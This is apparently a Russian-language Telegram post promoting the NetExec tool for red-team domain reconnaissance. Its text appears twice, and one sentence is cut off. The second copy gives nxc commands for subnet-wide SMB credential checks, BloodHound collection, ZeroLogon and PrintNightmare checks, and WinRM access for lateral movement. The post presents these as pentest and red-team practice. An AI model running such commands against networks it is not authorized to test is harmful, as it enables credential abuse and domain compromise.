Если честно, большинство тулов по боковой разведке в Windows-сетях либо слишком громоздкие, либо очень шумные, либо требуют больше внимания к себе, чем к инфраструктуре. NetExec выигрывает потому, что ведёт себя предельно приземлённо. Его удобно запускать прямо в момент, когда нужно «прощупать» живые хосты, проверить валидность учётки или понять, куда вообще есть дорога. Например, когда получаешь пару доменных логинов и пытаешься выяснить, насколько далеко они тебя пустят, достаточно выполнить что-то вроде:
Без особых танцев он покажет онлайн-хосты, статусы логонов и где возможен дальнейший доступ.
Быстрая доменная разведка: зачем усложнять то, что можно сделать одной командой😑
Здесь NetExec экономит время, потому что умеет выгружать нужную информацию сам, без лишних телодвижений.
Такая команда закрывает потребность в первичной доменной разведке целиком. Она удобно работает прямо с Red Team-контейнеров, с Linux-боксов в инфраструктуре и даже с имплантов на отдалённых хостах, если есть стабильный канал. В бою это критично: чем меньше прыгаешь между утилитами — тем меньше вероятность ошибиться и оставлять лишние следы.
Проверка уязвимых сервисов: та самая простота, которая экономит часы🧛
Разведка редко ограничивается только «кто жив» и «какие группы есть в домене». Нередко нужно быстро проверить известные уязвимости или кривые конфигурации, и вот тут флаг -M реально выручает. Когда прилетает задача убедиться, что контроллер домена не подвержен ZeroLogon, достаточно выполнить
И сразу получить чёткий ответ, без установки отдельного PoC и без риска перепутать параметры. С принтайтмерами ситуация похожая:
сразу покажет, есть ли шанс на дальнейшую эксплуатацию. Это выглядит почти лениво, но правде в глаза — скорость здесь стоит куда дороже «чистоты» инструментов.
Когда инструмент работает на тебя👨💻
В операциях ценится не только функциональность, но и предсказуемость. NetExec ведёт себя стабильно и одинаково с любых позиций: будь то Kali, Commando VM, обычный Ubuntu-бокс в сети заказчика или VPS-посредник (не надо блечить пожалуйста ), через который идёт туннелирование. Его приятно использовать как средство бокового перемещения по SMB, WinRM или MSSQL. Например, WinRM-доступ можно быстро проверить командой
и сразу понять, где можно закрепиться или выполнить удалённый PowerShell. Он одинаково полезен и на этапах красной команды, и в пентестах, и даже в балках синей команды, когда нужно быстро воспроизвести технику атакующих.
NetExec — это чумовой инструмент🤹
Нет пафоса, нет лишнего шума. Это просто утилита, которую удобно использовать. Она не закрывает все задачи мира, но отлично помогает ориентироваться в Windows-сетях, искать точки входа, проверять уязвимости и собирать доменную разведку без плясок с инструментарием. И чем больше работаешь в живых сетях, тем больше понимаешь: иногда инструмент должен быть не «крутым», а просто нормальным, человеческим, удобным. Именно таким и ощущается NetExec.
Подписывайтесь на канал, дальше больше!
Пост имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону
Если честно, большинство тулов по боковой разведке в Windows-сетях либо слишком громоздкие, либо очень шумные, либо требуют больше внимания к себе, чем к инфраструктуре. NetExec выигрывает потому, что ведёт себя предельно приземлённо. Его удобно запускать прямо в момент, когда нужно «прощупать» живые хосты, проверить валидность учётки или понять, куда вообще есть дорога. Например, когда получаешь пару доменных логинов и пытаешься выяснить, насколько далеко они тебя пустят, достаточно выполнить что-то вроде:
nxc smb 10.10.0.0/24 -u user -p pass
Без особых танцев он покажет онлайн-хосты, статусы логонов и где возможен дальнейший доступ.
Быстрая доменная разведка: зачем усложнять то, что можно сделать одной командой
Здесь NetExec экономит время, потому что умеет выгружать нужную информацию сам, без лишних телодвижений.
nxc ldap 10.10.0.1 -d domain.local -u redblue -p password -k --bloodhound -ns 10.10.0.1 -c All
Такая команда закрывает потребность в первичной доменной разведке целиком. Она удобно работает прямо с Red Team-контейнеров, с Linux-боксов в инфраструктуре и даже с имплантов на отдалённых хостах, если есть стабильный канал. В бою это критично: чем меньше прыгаешь между утилитами — тем меньше вероятность ошибиться и оставлять лишние следы.
Проверка уязвимых сервисов: та самая простота, которая экономит часы
Разведка редко ограничивается только «кто жив» и «какие группы есть в домене». Нередко нужно быстро проверить известные уязвимости или кривые конфигурации, и вот тут флаг -M реально выручает. Когда прилетает задача убедиться, что контроллер домена не подвержен ZeroLogon, достаточно выполнить
nxc smb dc01.domain.local -u user -p pass -M zerologon
И сразу получить чёткий ответ, без установки отдельного PoC и без риска перепутать параметры. С принтайтмерами ситуация похожая:
nxc smb 10.10.0.5 -M printnightmare
сразу покажет, есть ли шанс на дальнейшую эксплуатацию. Это выглядит почти лениво, но правде в глаза — скорость здесь стоит куда дороже «чистоты» инструментов.
Когда инструмент работает на тебя
В операциях ценится не только функциональность, но и предсказуемость. NetExec ведёт себя стабильно и одинаково с любых позиций: будь то Kali, Commando VM, обычный Ubuntu-бокс в сети заказчика или VPS-посредник (
nxc winrm targets.txt -u admin -p pass
и сразу понять, где можно закрепиться или выполнить удалённый PowerShell. Он одинаково полезен и на этапах красной команды, и в пентестах, и даже в балках синей команды, когда нужно быстро воспроизвести технику атакующих.
NetExec — это чумовой инструмент
Нет пафоса, нет лишнего шума. Это просто утилита, которую удобно использовать. Она не закрывает все задачи мира, но отлично помогает ориентироваться в Windows-сетях, искать точки входа, проверять уязвимости и собирать доменную разведку без плясок с инструментарием. И чем больше работаешь в живых сетях, тем больше понимаешь: иногда инструмент должен быть не «крутым», а просто нормальным, человеческим, удобным. Именно таким и ощущается NetExec.
Подписывайтесь на канал, дальше больше!
Please open Telegram to view this post
VIEW IN TELEGRAM